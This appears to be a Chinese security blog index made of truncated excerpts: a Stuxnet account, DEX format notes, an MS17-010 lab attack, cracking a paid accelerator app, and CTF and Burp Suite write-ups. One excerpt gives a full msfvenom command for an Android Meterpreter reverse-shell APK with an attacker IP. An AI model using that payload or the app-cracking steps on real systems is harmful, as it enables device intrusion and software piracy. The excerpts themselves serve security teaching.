2009年12月，在位于伊朗中部沙漠的地下核工厂里，工程师们发现这里的离心机正在一台台地出现断裂故障。他们无论如何都无法找到原因。 所谓的离心机，是制造核武器过程中非常关键的一步。在天然铀矿石中，绝大部分铀都是以铀238的形式存在的，铀235的含量只有0.7%，而后者正是制造原子弹所需要的材料。因此，制造核武器的第一步就是把铀235从铀238中分离出来，得到纯度更高的铀235。当铀235的丰...

使用MSFVENOM生成后门 msfvenom -p android/meterpreter/reverse_tcp LHOST=172.16.189.184 LPORTS=4444 >1.apk LHOTS = 攻击源主机IP LPORTS = 默认端口号 后门漏洞 -l─# msfvenom -p android/meterpreter/reverse_tcp LHOST=1...

Windows 实验使用 ms17-010漏洞 使用环境 测试：Windows7 64 攻击：kali linux 基本步骤 1.保持宿主机和肉鸡可以ping通 扫描手段如下： 漏扫 -lsf6 > search ms17_010 Matching Modules ================ # Name ...

一.Dex 文件格式 有了这张神图，那么接下来我们就可以来介绍dex的文件结构了，首先还是来看一张大体的结构图： 二.准备工作 我们在讲解数据结构之前，我们需要先创建一个简单的例子来帮助我们来解析，我们需要得到一个简单的dex文件，这里我们不借助任何的IDE工具，就可以构造一个dex文件出来。借助的工具很简单：javac,dx命令即可。 创建 java 源文件 ，内容如下代码: pu...

前言 最近tz不太好用，之前用的破解版的某洞已经彻底挂了。于是在网上找了一个某豹加速器。但是下载后发现只有两小时的会员时间，用完后还要花重金续费。作为社会主义爱国青年，面对这种违法app还在肆无忌惮的收费的现象，当然是不能忍了，于是决心破解之，以达到维护中华人民共和国宪法与法律尊严的目的！ 违法app截图： 一、root检测 将app装在手机上打开，结果有提示： 应该是检测到root...

项目 内容 难度 简单 类型 WEB 靶场 BUUCTF 坐标 [ACTF2020 新生赛]Include 首先 感谢Y1ng师傅~~ 题解 打开链接，发现 tips 超链接 点击 URL后缀加入?file=flag.php，且前端显示为 can you find out the flag? 发现网站指纹为PHP 且前端不存在JS源码 再结合题目要...

题目:https://buuoj.cn/challenges#[RoarCTF 2019]Easy Calc 0x00 题解 查看源代码 获得两点信息： 1.网站使用了waf，需要绕过 2.答案在calc.php文件下 0x01 解题 分析clac.php获取信息 <?php # 关闭了错误报告。 error_reporting(0); if(!isset($_GE...

实验1：使用Burp拦截并查看访问 http://124.70.71.251:47392/ 的HTTP请求包。 实验2：手动修改浏览器标识User-Agent 先访问 https://ip.tool.chinaz.com Burp开启拦截 刷新页面 拦截到了请求包 找到User-Agent字段，进行修改 Mozilla/5.0 (Linux; Android ...

实验目的： 本CTF题考查对cookie的理解，通过篡改伪造用户凭证，从而获得管理员权限并读取敏感信息（key）。通过上述实验内容，增进对OWASP TOP10漏洞之一的“失效的访问控制”（Broken Access）漏洞原理的理解。 系统环境： Mac 13.3.1 (a) (22E772610a) 实验工具： burpSuite FireFox 实验步骤和内容 目标...

题目：小周将他小时候最心爱的玩具锁在了密码箱里，但由于时间久远，密码忘记了一部分，你能帮帮他吗？ 靶机: http://47.94.14.162:10008/?password=ISCC%7B4%7D&password2=5 分析 F12查看源码看到style="display:none",去掉display:none可以看到密码箱信息 根据题目提示但由于...